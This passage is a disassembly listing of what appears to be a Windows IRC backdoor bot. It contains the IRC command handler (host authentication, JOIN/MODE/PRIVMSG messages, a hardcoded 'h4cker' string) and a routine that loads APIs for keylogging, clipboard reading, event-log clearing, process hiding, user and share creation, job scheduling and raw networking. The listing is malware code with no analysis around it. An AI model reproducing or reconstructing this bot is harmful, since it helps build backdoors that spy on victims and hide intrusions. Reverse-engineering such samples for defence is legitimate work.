; ---------------------------------------------------------------------------
loc_40981F: ; CODE XREF: sub_401B66+7C6Cj
mov [ebp+arg_24], ebx
loc_409822: ; CODE XREF: sub_401B66+7CD9j
mov eax, [ebp+arg_24]
push edi
push off_42A170[eax]
call sub_40B2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_40987A
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_409822
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40993C
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_40993C
push edi
push esi
push offset unk_42ABC0
jmp short loc_40980B
; ---------------------------------------------------------------------------
loc_40987A: ; CODE XREF: sub_401B66+7CCFj
mov edi, [ebp+arg_18]
xor esi, esi
loc_40987F: ; CODE XREF: sub_401B66+7D3Aj
cmp [edi], bl
jnz short loc_409896
push [ebp+arg_10]
push offset aH4cker ; "h4cker"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_4098A7
loc_409896: ; CODE XREF: sub_401B66+7D1Bj
inc esi
add edi, 80h
cmp esi, 1
jl short loc_40987F
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_4098A7: ; CODE XREF: sub_401B66+7D2Ej
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_E2C]
push 7Fh
push eax
push esi
call sub_41BDC0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4098DE
push ebx
push [ebp+var_4]
push offset unk_42ABA0
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_4098DE: ; CODE XREF: sub_401B66+7D5Cj
lea eax, [ebp+var_C0]
push eax
push offset unk_42AB80
loc_4098EA: ; CODE XREF: sub_401B66+529j
; sub_401B66+2825j ...
call sub_415819
loc_4098EF: ; CODE XREF: sub_401B66+1B08j
pop ecx
loc_4098F0: ; CODE XREF: sub_401B66+248Aj
pop ecx
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_4098F6: ; CODE XREF: sub_401B66+200j
; sub_401B66+215j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_40993C
push offset aI_3 ; "+i"
push [ebp+arg_10]
push offset aModeSS_0 ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_40993C
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40993C
add esp, 2Ch
mov dword_4CDB14, edi
jmp loc_401DF5
sub_401B66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40993C proc near ; CODE XREF: sub_4019F7+30p
; sub_401B66+1BDp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41C960
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
leave
retn
sub_40993C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409982 proc near ; CODE XREF: sub_401B66+496p
; sub_401B66+12C2p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_40999D
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_40999D: ; CODE XREF: sub_409982+14j
push edi
call sub_41B7B0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41B7B0
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_2 ; "%s"
push esi
push eax
call sub_41C150
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset aSSS_0 ; "%s %s :%s\r\n"
push eax
call sub_41C056
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41B7B0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_4CDCB4 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_409A1B
push 7D0h
call dword_428064 ; Sleep
locret_409A1B: ; CODE XREF: sub_409982+8Cj
leave
retn
sub_409982 endp
; =============== S U B R O U T I N E =======================================
sub_409A1D proc near ; CODE XREF: sub_401252+4Bp
push ebx
push ebp
mov ebp, dword_42809C
push esi
push edi
push offset aKernel32_dll_0 ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4280BC
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_409B3D
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_4CDD10, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_4CDC84, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_4CDC68, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_4CDB78, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_4CDB24, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_4CDB54, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_4CDBCC, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_4CDCC4, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_4CDD1C, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_4CDB84, eax
call esi ; GetProcAddress
cmp dword_4CDD10, ebx
mov dword_4CDB6C, eax
jz short loc_409B1B
cmp dword_4CDC84, ebx
jz short loc_409B1B
cmp dword_4CDC68, ebx
jz short loc_409B1B
cmp dword_4CDB78, ebx
jz short loc_409B1B
cmp dword_4CDB54, ebx
jz short loc_409B1B
cmp dword_4CDBCC, ebx
jz short loc_409B1B
cmp dword_4CDCC4, ebx
jz short loc_409B1B
cmp dword_4CDD1C, ebx
jz short loc_409B1B
cmp dword_4CDB84, ebx
jz short loc_409B1B
cmp eax, ebx
jnz short loc_409B25
loc_409B1B: ; CODE XREF: sub_409A1D+B8j
; sub_409A1D+C0j ...
mov dword_4CDD20, 1
loc_409B25: ; CODE XREF: sub_409A1D+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CDC9C, eax
jz short loc_409B52
push 1
push ebx
call eax
jmp short loc_409B52
; ---------------------------------------------------------------------------
loc_409B3D: ; CODE XREF: sub_409A1D+1Dj
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD24, eax
mov dword_4CDD20, 1
loc_409B52: ; CODE XREF: sub_409A1D+117j
; sub_409A1D+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4280B8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409C67
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_4CDCC0, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_4CDC70, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_4CDC04, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_4CDD14, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_4CDC34, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_4CDC54, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_4CDCB8, eax
call esi ; GetProcAddress
cmp dword_4CDCC0, ebx
mov dword_4CDBA4, eax
jz short loc_409C0B
cmp dword_4CDC70, ebx
jz short loc_409C0B
cmp dword_4CDC04, ebx
jz short loc_409C0B
cmp dword_4CDD14, ebx
jz short loc_409C0B
cmp dword_4CDC34, ebx
jz short loc_409C0B
cmp dword_4CDC54, ebx
jz short loc_409C0B
cmp dword_4CDCB8, ebx
jz short loc_409C0B
cmp eax, ebx
jnz short loc_409C15
loc_409C0B: ; CODE XREF: sub_409A1D+1B8j
; sub_409A1D+1C0j ...
mov dword_4CDD28, 1
loc_409C15: ; CODE XREF: sub_409A1D+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_4CDC30, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_4CDB38, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_4CDC00, eax
call esi ; GetProcAddress
cmp dword_4CDC30, ebx
mov dword_4CDBE8, eax
jz short loc_409C72
cmp dword_4CDB38, ebx
jz short loc_409C72
cmp dword_4CDC00, ebx
jz short loc_409C72
cmp eax, ebx
jnz short loc_409C7C
jmp short loc_409C72
; ---------------------------------------------------------------------------
loc_409C67: ; CODE XREF: sub_409A1D+144j
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD2C, eax
loc_409C72: ; CODE XREF: sub_409A1D+232j
; sub_409A1D+23Aj ...
mov dword_4CDD28, 1
loc_409C7C: ; CODE XREF: sub_409A1D+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409E35
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_4CDCD4, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_4CDC18, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_4CDC88, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_4CDB64, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_4CDBC8, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov dword_4CDC40, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov dword_4CDBE4, eax
call esi ; GetProcAddress
cmp dword_4CDCD4, ebx
mov dword_4CDBF4, eax
jz short loc_409D25
cmp dword_4CDC18, ebx
jz short loc_409D25
cmp dword_4CDC88, ebx
jz short loc_409D25
cmp dword_4CDB64, ebx
jz short loc_409D25
cmp dword_4CDBC8, ebx
jz short loc_409D25
cmp dword_4CDC40, ebx
jnz short loc_409D2F
loc_409D25: ; CODE XREF: sub_409A1D+2DEj
; sub_409A1D+2E6j ...
mov dword_4CDD30, 1
loc_409D2F: ; CODE XREF: sub_409A1D+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_4CDC48, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_4CDC20, eax
call esi ; GetProcAddress
cmp dword_4CDC48, ebx
mov dword_4CDCD0, eax
jz short loc_409D6A
cmp dword_4CDC20, ebx
jz short loc_409D6A
cmp eax, ebx
jnz short loc_409D74
loc_409D6A: ; CODE XREF: sub_409A1D+33Fj
; sub_409A1D+347j
mov dword_4CDD30, 1
loc_409D74: ; CODE XREF: sub_409A1D+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_4CDC58, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_4CDB40, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_4CDB48, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_4CDBAC, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_4CDBB0, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_4CDB5C, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_4CDC24, eax
call esi ; GetProcAddress
cmp dword_4CDC58, ebx
mov dword_4CDB4C, eax
jz short loc_409E18
cmp dword_4CDB40, ebx
jz short loc_409E18
cmp dword_4CDB48, ebx
jz short loc_409E18
cmp dword_4CDBAC, ebx
jz short loc_409E18
cmp dword_4CDBB0, ebx
jz short loc_409E18
cmp dword_4CDB5C, ebx
jz short loc_409E18
cmp dword_4CDC24, ebx
jz short loc_409E18
cmp eax, ebx
jnz short loc_409E22
loc_409E18: ; CODE XREF: sub_409A1D+3C5j
; sub_409A1D+3CDj ...
mov dword_4CDD30, 1
loc_409E22: ; CODE XREF: sub_409A1D+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_4CDB44, eax
jnz short loc_409E4A
jmp short loc_409E40
; ---------------------------------------------------------------------------
loc_409E35: ; CODE XREF: sub_409A1D+26Aj
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD34, eax
loc_409E40: ; CODE XREF: sub_409A1D+416j
mov dword_4CDD30, 1
loc_409E4A: ; CODE XREF: sub_409A1D+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_409F16
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_4CDC50, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_4CDCA8, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_4CDCB0, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_4CDC6C, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_4CDB88, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_4CDB34, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_4CDCAC, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_4CDB20, eax
call esi ; GetProcAddress
cmp dword_4CDC50, ebx
mov dword_4CDBC0, eax
jz short loc_409F21
cmp dword_4CDCA8, ebx
jz short loc_409F21
cmp dword_4CDCB0, ebx
jz short loc_409F21
cmp dword_4CDC6C, ebx
jz short loc_409F21
cmp dword_4CDB88, ebx
jz short loc_409F21
cmp dword_4CDB34, ebx
jz short loc_409F21
cmp dword_4CDCAC, ebx
jz short loc_409F21
cmp dword_4CDB20, ebx
jz short loc_409F21
cmp eax, ebx
jnz short loc_409F2B
jmp short loc_409F21
; ---------------------------------------------------------------------------
loc_409F16: ; CODE XREF: sub_409A1D+438j
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD3C, eax
loc_409F21: ; CODE XREF: sub_409A1D+4B9j
; sub_409A1D+4C1j ...
mov dword_4CDD38, 1
loc_409F2B: ; CODE XREF: sub_409A1D+4F5j
mov ebp, dword_4280B8
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A1E7
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_4CDBD4, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_4CDD08, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_4CDB74, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_4CDB50, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_4CDC10, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_4CDBF8, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_4CDBBC, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_4CDCE4, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_4CDD00, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_4CDC0C, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_4CDCF0, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_4CDCA4, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_4CDC64, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_4CDC60, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_4CDB94, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_4CDB8C, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_4CDCB4, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_4CDCC8, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_4CDC7C, eax
call esi ; GetProcAddress
mov dword_4CDC3C, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_4CDC90, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_4CDC4C, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_4CDC8C, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_4CDCF8, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_4CDC44, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_4CDC08, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_4CDC78, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_4CDCE8, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_4CDC1C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_4CDBB8, eax
call esi ; GetProcAddress
cmp dword_4CDBD4, ebx
mov dword_4CDCFC, eax
jz loc_40A1F2
cmp dword_4CDD08, ebx
jz loc_40A1F2
cmp dword_4CDB74, ebx
jz loc_40A1F2
cmp dword_4CDC10, ebx
jz loc_40A1F2
cmp dword_4CDBF8, ebx
jz loc_40A1F2
cmp dword_4CDBBC, ebx
jz loc_40A1F2
cmp dword_4CDCE4, ebx
jz loc_40A1F2
cmp dword_4CDD00, ebx
jz loc_40A1F2
cmp dword_4CDC0C, ebx
jz loc_40A1F2
cmp dword_4CDCF0, ebx
jz loc_40A1F2
cmp dword_4CDCA4, ebx
jz loc_40A1F2
cmp dword_4CDC64, ebx
jz loc_40A1F2
cmp dword_4CDC60, ebx
jz loc_40A1F2
cmp dword_4CDB94, ebx
jz short loc_40A1F2
cmp dword_4CDCB4, ebx
jz short loc_40A1F2
cmp dword_4CDCC8, ebx
jz short loc_40A1F2
cmp dword_4CDC7C, ebx
jz short loc_40A1F2
cmp dword_4CDC3C, ebx
jz short loc_40A1F2
cmp dword_4CDC90, ebx
jz short loc_40A1F2
cmp dword_4CDC4C, ebx
jz short loc_40A1F2
cmp dword_4CDC8C, ebx
jz short loc_40A1F2
cmp dword_4CDCF8, ebx
jz short loc_40A1F2
cmp dword_4CDC44, ebx
jz short loc_40A1F2
cmp dword_4CDC08, ebx
jz short loc_40A1F2
cmp dword_4CDC78, ebx
jz short loc_40A1F2
cmp dword_4CDCE8, ebx
jz short loc_40A1F2
cmp dword_4CDC1C, ebx
jz short loc_40A1F2
cmp eax, ebx
jnz short loc_40A1FC
jmp short loc_40A1F2
; ---------------------------------------------------------------------------
loc_40A1E7: ; CODE XREF: sub_409A1D+51Fj
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD44, eax
loc_40A1F2: ; CODE XREF: sub_409A1D+6BEj
; sub_409A1D+6CAj ...
mov dword_4CDD40, 1
loc_40A1FC: ; CODE XREF: sub_409A1D+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A301
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4CDBA0, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4CDB28, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4CDC2C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4CDBD8, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4CDC38, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4CDBFC, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4CDB68, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4CDB60, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4CDB70, eax
call esi ; GetProcAddress
cmp dword_4CDBA0, ebx
mov ecx, dword_4CDBFC
mov dword_4CDC98, eax
jz short loc_40A2DD
cmp dword_4CDB28, ebx
jz short loc_40A2DD
cmp dword_4CDC2C, ebx
jz short loc_40A2DD
cmp dword_4CDBD8, ebx
jz short loc_40A2DD
cmp dword_4CDC38, ebx
jz short loc_40A2DD
cmp ecx, ebx
jz short loc_40A2DD
cmp dword_4CDB68, ebx
jz short loc_40A2DD
cmp dword_4CDB60, ebx
jz short loc_40A2DD
cmp dword_4CDB70, ebx
jz short loc_40A2DD
cmp eax, ebx
jnz short loc_40A2E7
loc_40A2DD: ; CODE XREF: sub_409A1D+87Ej
; sub_409A1D+886j ...
mov dword_4CDD48, 1
loc_40A2E7: ; CODE XREF: sub_409A1D+8BEj
cmp ecx, ebx
jz short loc_40A31C
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov dword_4CDC14, eax
jnz short loc_40A31C
jmp short loc_40A316
; ---------------------------------------------------------------------------
loc_40A301: ; CODE XREF: sub_409A1D+7EAj
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD4C, eax
mov dword_4CDD48, 1
loc_40A316: ; CODE XREF: sub_409A1D+8E2j
mov dword_4CDC14, ebx
loc_40A31C: ; CODE XREF: sub_409A1D+8CCj
; sub_409A1D+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A366
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4CDBEC, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4CDD18, eax
call esi ; GetProcAddress
cmp dword_4CDBEC, ebx
mov dword_4CDB7C, eax
jz short loc_40A371
cmp dword_4CDD18, ebx
jz short loc_40A371
cmp eax, ebx
jnz short loc_40A37B
jmp short loc_40A371
; ---------------------------------------------------------------------------
loc_40A366: ; CODE XREF: sub_409A1D+90Aj
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD54, eax
loc_40A371: ; CODE XREF: sub_409A1D+939j
; sub_409A1D+941j ...
mov dword_4CDD50, 1
loc_40A37B: ; CODE XREF: sub_409A1D+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_40A482
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4CDB58, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4CDB30, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4CDBA8, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4CDBDC, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4CDCF4, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4CDB90, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4CDB3C, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4CDB2C, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4CDBC4, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4CDCBC, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4CDC74, eax
call esi ; GetProcAddress
cmp dword_4CDB58, ebx
mov dword_4CDB98, eax
jz short loc_40A48D
cmp dword_4CDB30, ebx
jz short loc_40A48D
cmp dword_4CDBA8, ebx
jz short loc_40A48D
cmp dword_4CDBDC, ebx
jz short loc_40A48D
cmp dword_4CDCF4, ebx
jz short loc_40A48D
cmp dword_4CDB90, ebx
jz short loc_40A48D
cmp dword_4CDB3C, ebx
jz short loc_40A48D
cmp dword_4CDB2C, ebx
jz short loc_40A48D
cmp dword_4CDBC4, ebx
jz short loc_40A48D
cmp dword_4CDCBC, ebx
jz short loc_40A48D
cmp dword_4CDC74, ebx
jnz short loc_40A497
jmp short loc_40A48D
; ---------------------------------------------------------------------------
loc_40A482: ; CODE XREF: sub_409A1D+969j
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD5C, eax
loc_40A48D: ; CODE XREF: sub_409A1D+A11j
; sub_409A1D+A19j ...
mov dword_4CDD58, 1
loc_40A497: ; CODE XREF: sub_409A1D+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A4CC
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; GetProcAddress
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4CDB80, eax
call esi ; GetProcAddress
cmp dword_4CDB80, ebx
mov dword_4CDC5C, eax
jz short loc_40A4D7
cmp eax, ebx
jnz short loc_40A4E1
jmp short loc_40A4D7
; ---------------------------------------------------------------------------
loc_40A4CC: ; CODE XREF: sub_409A1D+A85j
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD64, eax
loc_40A4D7: ; CODE XREF: sub_409A1D+AA7j
; sub_409A1D+AADj
mov dword_4CDD60, 1
loc_40A4E1: ; CODE XREF: sub_409A1D+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A516
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4CDCE0, eax
call esi ; GetProcAddress
cmp dword_4CDCE0, ebx
mov dword_4CDCDC, eax
jz short loc_40A521
cmp eax, ebx
jnz short loc_40A52B
jmp short loc_40A521
; ---------------------------------------------------------------------------
loc_40A516: ; CODE XREF: sub_409A1D+ACFj
call dword_42808C ; RtlGetLastWin32Error
mov dword_4CDD6C, eax
loc_40A521: ; CODE XREF: sub_409A1D+AF1j
; sub_409A1D+AF7j
mov dword_4CDD68, 1
loc_40A52B: ; CODE XREF: sub_409A1D+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40A58A
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4CDD0C, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4CDD04, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4CDCCC, eax
call esi ; GetProcAddress
cmp dword_4CDD0C, ebx
mov dword_4CDB9C, eax
jz short loc_40A595
cmp dword_4CDD04, ebx
jz short loc_40A595
